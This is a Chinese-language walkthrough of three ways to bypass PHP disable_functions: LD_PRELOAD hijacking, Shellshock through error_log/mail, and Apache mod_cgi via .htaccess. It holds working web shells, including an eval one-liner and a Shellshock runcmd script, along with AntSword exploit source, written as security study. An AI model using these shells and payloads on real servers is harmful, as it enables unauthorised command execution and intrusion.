参考文章
- bypass disable_function多种方法+实例
- bypass_disablefunc_via_LD_PRELOAD
- bypass disable_functions姿势总结
- 无需sendmail:巧用LD_PRELOAD突破disable_functions
- 绕过disable_function
- 浅谈几种Bypass disable_functions的方法
- 深入浅出LD_PRELOAD & putenv()
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
diasbale_functions:cntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
1.LD_PRELOAD
使用条件:
- Linux 操作系统
putenv
mail
orerror_log
本例中禁用了mail
但未禁用error_log
- 存在可写的目录, 需要上传
.so
文件
方法原理:
原理可参考 CTF_Wiki 上的表述,个人觉得写得比较好的是下面这个,出自这里:
一般而言,利用漏洞控制 web 启动新进程a.bin
(即便进程名无法让我随意指定),a.bin
内部调用系统函数b()
,b()
位于系统共享对象c.so
中,所以系统为该进程加载c.so
,想法在c.so
前优先加载可控的c_evil.so
,c_evil.so
内含与b()
同名的恶意函数,由于c_evil.so
优先级较高,所以,a.bin
将调用到c_evil.so
内b()
而非系统的c.so
内b()
,同时c_evil.so
可控,达到执行恶意代码的目的
所以第一步就是本地生成一个evil.so
文件,上传到服务器,利用putenv()
函数,将环境变量LD_PRELOAD
路径设置为evil.so
,最后再利用 php 的某个函数去触发,而且这个函数需要能够启动新的进程;system()/exec()/shell_exec()/mail()/error_log()
都属于这类函数
在 linux 中,进程的产生通常是通过fork
函数,由父进程衍生出一个子进程且大部分的进程并不是直接在父进程的基础上运行,这时候就需要用到exec
函数,不同的exec
函数实际上都是调用了 glibc 中的 __execve
函数,而 glibc 中的__execve
函数向内核发起execve
系统调用
以mail()
为例,当用strace -f
跟踪进程调用的子进程时,通过grep execve
查看启动的新进程
[root@VM-8-7-centos default]# strace -f php mail.php 2>&1 | grep execve
execve("/usr/bin/php", ["php", "mail.php"], 0x7ffc36464a10 /* 24 vars */) = 0
[pid 24498] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i"], 0x15c8010 /* 24 vars */ <unfinished ...>
[pid 24498] <... execve resumed>) = 0
[pid 24498] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x16e6360 /* 23 vars */) = 0
[pid 24499] execve("/usr/sbin/postdrop", ["/usr/sbin/postdrop", "-r"], 0x560b6324a660 /* 2 vars */) = 0
第一个是启动 php 解释器,后面的/usr/sbin/sendmail
和/usr/sbin/postdrop
是新的进程,readelf -s /usr/sbin/sendmail
可以查看调用了哪些函数
在劫持函数的选择上,尽量选择重写复杂度小、无参数、常用的,比如getuid()
如何重写可以参考上述文章,而后可以将上传路径写进 .php 文件里,最后一并上传至有权限的目录下,执行 .php 即可
<?php
putenv("LD_PRELOAD=./hack.so"); // .so 上传路径
mail('','','',''); // 如果 mail() 被处理,可以使用 error_log('a',1);
?>
但是这是理想状态下的劫持,劫持成功是建立在目标环境下有sendmail
,而且可以执行 .php 文件的基础上
有的时候目标环境可能没有安装sendmail
,也没有权限执行 .php 文件,这种情况的解决方法可参考 无需sendmail:巧用LD_PRELOAD突破disable_functions,细节上已经写得非常详细了,将劫持某一函数扩展到劫持共享对象
蚁剑绕过插件的做法是,在当前目录上传了一个 .antproxy.php 文件,然后在/tmp
下上传了一个 .so 文件,最后更改 shell 地址为/.antproxy.php
就可以执行命令
通过ps -aef
查看进程情况
www-data 148 32 0 Nov08 ? 00:00:00 /bin/sh -c php -n -S 127.0.0.1:64091 -t /var/www/html
www-data 149 148 0 Nov08 ? 00:00:01 php -n -S 127.0.0.1:64091 -t /var/www/html
www-data 150 27 0 Nov08 ? 00:00:00 /usr/sbin/apache2 -k start
可以看到目标环境又启动了一个新的 php 环境,而且不带 .ini,和代码是对应的
<?php
...
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64091;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
...
?>
在core/ld_preload/index.js
的exploit()
里也可以看到实现细节
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
toastr.warning(LD_PRELOAD_LANG['msg']['genext_err'], LANG_T["warning"]);
self.cell.progressOff();
return
}
上传ext
后会触发 payload
new Promise((res, rej) => {...
}.then((p) => {
// 触发 payload, 会超时
var payload = `error_reporting(E_ALL);putenv("LD_PRELOAD=${p}");error_log("a", 1);echo(1);`;
core.request({
_: payload,
}).then((response) => {
}).catch((err) => {
// 超时也是正常
})
}).then(() => {
// 验证是否成功开启
var payload = `sleep(1);
$fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
if(!$fp){
echo(0);
}else{
echo(1);
@fclose($fp);
};`
core.request({
_: payload,
}).then((response) => {
var ret = response['text'];
if (ret === '1') {
toastr.success(LANG['success'], LANG_T['success']);
self.form.setItemLabel('status_label', `New WebServer Listen`);
self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
self.uploadProxyScript("127.0.0.1", port);
self.cell.progressOff();
}
可以看到最终走的也是error_log()
,同时在core/base.js
下查看generateExt()
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0,
end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if (cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
预留了参数cmd
的位置,再把ant_x86.dll
反一下是这个
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
system(
"[command "
" ]");
return 1;
}
所以蚁剑突破的流程就很明晰了,生成一个 含可执行命令和开启新的、没有特殊环境限制的 php web server 的扩展,利用 .antproxy.php 完成代理发送数据并接收返回信息
2.Shellshock(CVE-2014-6271)
使用条件:
- Linux 操作系统
putenv
mail
orerror_log
本例中禁用了mail
但未禁用error_log
/bin/bash
存在CVE-2014-6271
漏洞/bin/sh -> /bin/bash
sh 默认的 shell 是 bash
方法原理:
漏洞原理不再赘述,可以参考这篇文章《Bash远程代码执行漏洞(CVE-2014-6271)案例分析》
而mail()/error_log()
之所以能够用来突破 disable_functions 的限制,源码里其实已经写了(源码是 github 上最新版本的)
/* basic_functions.c */
PHPAPI int _php_error_log(int opt_err, const char *message, const char *opt, const char *headers) /* {{{ */
{
return _php_error_log_ex(opt_err, message, (opt_err == 3) ? strlen(message) : 0, opt, headers);
}
/* }}} */
PHPAPI int _php_error_log_ex(int opt_err, const char *message, size_t message_len, const char *opt, const char *headers) /* {{{ */
{
php_stream *stream = NULL;
size_t nbytes;
switch (opt_err)
{
case 1: /*send an email */
if (!php_mail(opt, "PHP error_log message", message, headers, NULL)) {
return FAILURE;
}
break;
...
这里其实就可以看出来了,为什么在调用error_log()
突破时第二个参数要设置为 1
/* mail.c */
PHPAPI int php_mail(const char *to, const char *subject, const char *message, const char *headers, const char *extra_cmd)
{
#ifdef PHP_WIN32
int tsm_err;
char *tsm_errmsg = NULL;
#endif
FILE *sendmail;
int ret;
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;
char *mail_log = INI_STR("mail.log");
const char *hdr = headers;
char *ahdr = NULL;
#if PHP_SIGCHILD
void (*sig_handler)() = NULL;
#endif
...
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
...
#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL);
#else
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif
if (extra_cmd != NULL) {
efree (sendmail_cmd);
}
当mail()
的参数extra_cmd
存在的时候,先用spprintf()
接收合并后的命令,后面再调用popen()
派生出进程执行,如果 sh 默认为 bash 的话,就可以利用 Shellshock 了
那么这个时候再看环境下给的原理脚本就可以理解了
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}
// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>
3.Apache Mod CGI
相比于前两个环境,disable_functions 多了putenv()
使用条件:
- Linux 操作系统
- Apache + PHP (apache 使用 apache_mod_php)
- Apache 开启了
cgi
,rewrite
- Web 目录给了
AllowOverride
权限 - 当前目录可写
方法原理:
关于 CGI,百度百科就可以查到工作原理,Apache 2.2 的参考手册也有相关介绍
原理简述上这个写的比较清晰,不再赘述了,其实 De1CTF_2020 的 checkin 就是利用这个点绕过的
解决方法就是上传一个 .htaccess 和一个写有 shell 的脚本
同样的,插件里的index.js
里也有细节
.then(() => {
let expcode = {
_: `@copy(".htaccess", ".htaccess.bak");
@file_put_contents('.htaccess', "Options +ExecCGI\\nAddHandler cgi-script .ant");
@file_put_contents('shell.ant', "#!/bin/sh\\n\\necho&ls");
@chmod("shell.ant", 0777);`
};
self.core.request(expcode)
.then(() => {
new antSword.module.terminal(self.top.opt, {
exec: (arg = {
bin: '/bin/bash',
cmd: ''
}) => {
let content = Buffer.from(`#!${arg['bin']}\necho&&${arg['cmd']}`).toString('base64');
let target = "";
if (self.top.opt.url.includes('127.0.0.1')) {
target = `$url['scheme']."://${self.infodata['localaddr']}".$url['path'];`;
} else {
target = `$url['scheme']."://".$_SERVER['HTTP_HOST'].$url['path'];`;
}
return {
_: `@file_put_contents('shell.ant', base64_decode("${content}"));
$url=parse_url("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
$target=${target};
echo @file_get_contents($target);`,
// header("Location: ${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
// echo @file_get_contents("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
}
}
});
})
.catch(err => {
throw err;
});
}
写入.htaccess
和shell.ant
,然后再给 .ant 赋权,下面又起了一个新的命令终端来完成命令执行
在底下的 refs 里也有相应的脚本,可以参考下这个